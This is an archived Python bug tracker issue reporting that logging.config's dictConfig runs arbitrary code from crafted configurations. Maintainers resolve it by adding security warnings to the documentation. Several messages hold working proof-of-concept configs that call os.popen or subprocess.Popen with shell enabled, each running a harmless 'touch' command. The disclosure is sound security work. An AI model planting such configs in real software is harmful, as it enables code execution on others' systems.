This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

classification
Title: logger.config.configure_formatter executes arbitrary code
Type: security Stage: resolved
Components: Library (Lib) Versions: Python 3.10
process
Status: closed Resolution: fixed
Dependencies: Superseder:
Assigned To: Nosy List: MarkBaggett, eric.smith, miss-islington, vinay.sajip
Priority: normal Keywords: patch

Created on 2022-01-03 22:15 by MarkBaggett, last changed 2022-04-11 14:59 by admin. This issue is now closed.

Pull Requests
URL Status Linked Edit
PR 30411 merged vinay.sajip, 2022-01-05 08:55
PR 30447 merged miss-islington, 2022-01-06 22:35
PR 30448 merged miss-islington, 2022-01-06 22:35
Messages (13)
msg409623 - (view) Author: MarkBaggett (MarkBaggett) Date: 2022-01-03 22:15
I know there are multiple warnings about the use of eval() in the listener. But _resolve() and resolve() used by both fileConfig and dictConfig also seem like they can also be abused. Here is a working example.

$ ls /tmp/itworked 
ls: cannot access '/tmp/itworked': No such file or directory
$ cat log.config 
{
    "version":1,
    "formatters":{
        "EXPLOIT":{
            "class": "os.popen",
            "format": "touch /tmp/itworked",
            "datefmt": "r",
            "style": 1

        }
    }
}

$ python calculator.py 
/usr/lib/python3.8/subprocess.py:848: RuntimeWarning: line buffering (buffering=1) isn't supported in binary mode, the default buffer size will be used
  self.stdout = io.open(c2pread, 'rb', bufsize)
WARNING:calculator.support_functions:Internet Confirmed.
WARNING:calculator.support_functions:Adder object exported!
WARNING:calculator.support_functions.adder:Set initial value to 0
WARNING:calculator:The result is 15
$ ls /tmp/itworked 
/tmp/itworked

I could probably clean up that error message if I took 2 minute to refresh my os.popen knowledge, but I think you get the point. Are you aware of this issue?

Thanks for all you to on this import module!
msg409624 - (view) Author: Eric V. Smith (eric.smith) * (Python committer) Date: 2022-01-03 22:20
What are the contents of calculator.py?
msg409626 - (view) Author: MarkBaggett (MarkBaggett) Date: 2022-01-03 22:26
Here are the relevant parts of calculator.py..

import logging
import logging.config
import json
import pathlib
import os

config_location = pathlib.Path(  os.path.realpath(__file__) ).parent / "log.config"
log_config = json.load( config_location.open() )

logging.config.dictConfig(log_config)

logger = logging.getLogger("calculator")
msg409627 - (view) Author: Eric V. Smith (eric.smith) * (Python committer) Date: 2022-01-03 22:32
Thanks.

Here's a somewhat smaller, one-file version, that writes to the current directory (I'm on Windows, no /tmp):

---------------------
import logging
import logging.config
import json

log_config_txt = '''{
    "version":1,
    "formatters":{
        "EXPLOIT":{
            "class": "os.popen",
            "format": "touch itworked",
            "datefmt": "r",
            "style": 1

        }
    }
}
'''

log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)
logger = logging.getLogger("calculator")
---------------------
msg409628 - (view) Author: Eric V. Smith (eric.smith) * (Python committer) Date: 2022-01-03 22:45
Actually, the last line isn't necessary.

------------
import logging.config
import json

log_config_txt = '''{
    "version":1,
    "formatters":{
        "EXPLOIT":{
            "class": "os.popen",
            "format": "touch itworked",
            "datefmt": "r",
            "style": 1
        }
    }
}
'''

log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)
------------

I suspect the answer to this will be: "don't load untrusted configuration files". But I'll see what others have to say. There should probably be a warning about it somewhere. I didn't see anything.
msg409632 - (view) Author: MarkBaggett (MarkBaggett) Date: 2022-01-03 22:58
"Dont load untrusted config files" is the answer I expected. It the only safe answer really. But is there really a mechanism to provide trust of an external config file other that file permissions? It doesn't seem like hmac or digital signatures work because you have to provide a mechanism to resign it every time they change a config. So an attacker could just resign after adding the exploit. Maybe file permissions is all we have. 

Is it reasonable to say that all classes  by _resolve() and resolve() should have "logger." at the top of them? If not perhaps the object could have a permitted list of top level packages that defaults to just "logger." but could be extended to others by the developer.
msg409675 - (view) Author: MarkBaggett (MarkBaggett) Date: 2022-01-04 12:11
Let me also mention that the problem really includes anything that uses the resolve() functions. Here is a working example that puts an exploit in a HANDLER rather than a FORMATTER.

$ ls /tmp/alsoworked
ls: cannot access '/tmp/alsoworked': No such file or directory
$ python calculator.py 
$ ls /tmp/alsoworked 
/tmp/alsoworked
$ cat log.config
{
    "version":1,
    "root":{
        "handlers" : ["EXPLOIT"]
    },
    "handlers":{
        "EXPLOIT":{
            "class": "subprocess.Popen",
            "args" : "touch /tmp/alsoworked",
            "shell" : "True"
        }
    }
}


Or if you prefer it in one file..

-----------------------------

import logging.config
import json

log_config_txt = '''{
    "version":1,
    "root":{
        "handlers" : ["EXPLOIT"]
    },
    "handlers":{
        "EXPLOIT":{
            "class": "subprocess.Popen",
            "args" : "touch /tmp/alsoworks",
            "shell" : "True"
        }
    }
}
'''

log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)
------------------------
msg409734 - (view) Author: Vinay Sajip (vinay.sajip) * (Python committer) Date: 2022-01-05 07:35
> "Dont load untrusted config files" is the answer I expected.

Yes. It's the usual convenience vs. security trade-off. To make configuration convenient, configurable factories with configurable parameters are provided. Can this be misused? Of course.

Digital signing has its place where auditability and accountability are important, but it would normally only be used in production where configuration changes are subject to a strict process with signoffs. 

There could definitely be stronger warnings in the documentation about trust and configurations.

> Is it reasonable to say that all classes  by _resolve() and resolve() should have "logger." at the top of them? If not perhaps the object could have a permitted list of top level packages that defaults to just "logger." but could be extended to others by the developer.

I would think that's going too far, and perhaps it only moves the problem. In any case, dictConfig has a mechanism using the "()" key which allows any callable, not just a class. This is for a not uncommon use case where the callable is a function that returns a logging object (handler/formatter/filter) that has been tweaked in some way. But that feature can of course also be used with untrusted inputs to produce surprises.
msg409736 - (view) Author: Vinay Sajip (vinay.sajip) * (Python committer) Date: 2022-01-05 08:57
I've created a PR to add a "Security Considerations" section in the configuration documentation. Comments on the PR are welcome.
msg409935 - (view) Author: Vinay Sajip (vinay.sajip) * (Python committer) Date: 2022-01-06 22:35
New changeset 46c7a6566bca2e974a89c90c35ed1c498d9d3b02 by Vinay Sajip in branch 'main':
bpo-46251: Add 'Security Considerations' section to logging configura… (GH-30411)
https://github.com/python/cpython/commit/46c7a6566bca2e974a89c90c35ed1c498d9d3b02
msg409937 - (view) Author: Vinay Sajip (vinay.sajip) * (Python committer) Date: 2022-01-06 23:18
New changeset db60ed1170a02189a4fd4b7574e0722dd22c658b by Miss Islington (bot) in branch '3.10':
[3.10] bpo-46251: Add 'Security Considerations' section to logging configura… (GH-30411) (GH-30447)
https://github.com/python/cpython/commit/db60ed1170a02189a4fd4b7574e0722dd22c658b
msg409938 - (view) Author: Vinay Sajip (vinay.sajip) * (Python committer) Date: 2022-01-06 23:18
New changeset 188fbdee0d6721a948eabb81cdcacac371614793 by Miss Islington (bot) in branch '3.9':
[3.9] bpo-46251: Add 'Security Considerations' section to logging configura… (GH-30411) (GH-30448)
https://github.com/python/cpython/commit/188fbdee0d6721a948eabb81cdcacac371614793
msg409939 - (view) Author: Vinay Sajip (vinay.sajip) * (Python committer) Date: 2022-01-06 23:21
I'm closing with the assumption that the addition to the documentation covers this. If that needs to be improved, this can be reopened with specific suggestions.
History
Date User Action Args
2022-04-11 14:59:54adminsetgithub: 90409
2022-01-06 23:21:10vinay.sajipsetstatus: open -> closed
resolution: fixed
messages: + msg409939

stage: patch review -> resolved
2022-01-06 23:18:47vinay.sajipsetmessages: + msg409938
2022-01-06 23:18:46vinay.sajipsetmessages: + msg409937
2022-01-06 22:35:24vinay.sajipsetmessages: + msg409935
2022-01-06 22:35:22miss-islingtonsetpull_requests: + pull_request28653
2022-01-06 22:35:18miss-islingtonsetnosy: + miss-islington

pull_requests: + pull_request28652
stage: patch review
2022-01-05 08:57:33vinay.sajipsetmessages: + msg409736
stage: patch review -> (no value)
2022-01-05 08:55:59vinay.sajipsetkeywords: + patch
stage: patch review
pull_requests: + pull_request28617
2022-01-05 07:35:11vinay.sajipsetmessages: + msg409734
2022-01-05 02:46:49ned.deilysetnosy: + vinay.sajip
2022-01-04 12:11:56MarkBaggettsetmessages: + msg409675
2022-01-03 23:24:08iritkatrielsetcomponents: + Library (Lib)
2022-01-03 22:58:37MarkBaggettsetmessages: + msg409632
2022-01-03 22:45:40eric.smithsetmessages: + msg409628
2022-01-03 22:32:00eric.smithsetmessages: + msg409627
2022-01-03 22:26:08MarkBaggettsetmessages: + msg409626
2022-01-03 22:20:09eric.smithsetnosy: + eric.smith
messages: + msg409624
2022-01-03 22:15:10MarkBaggettcreate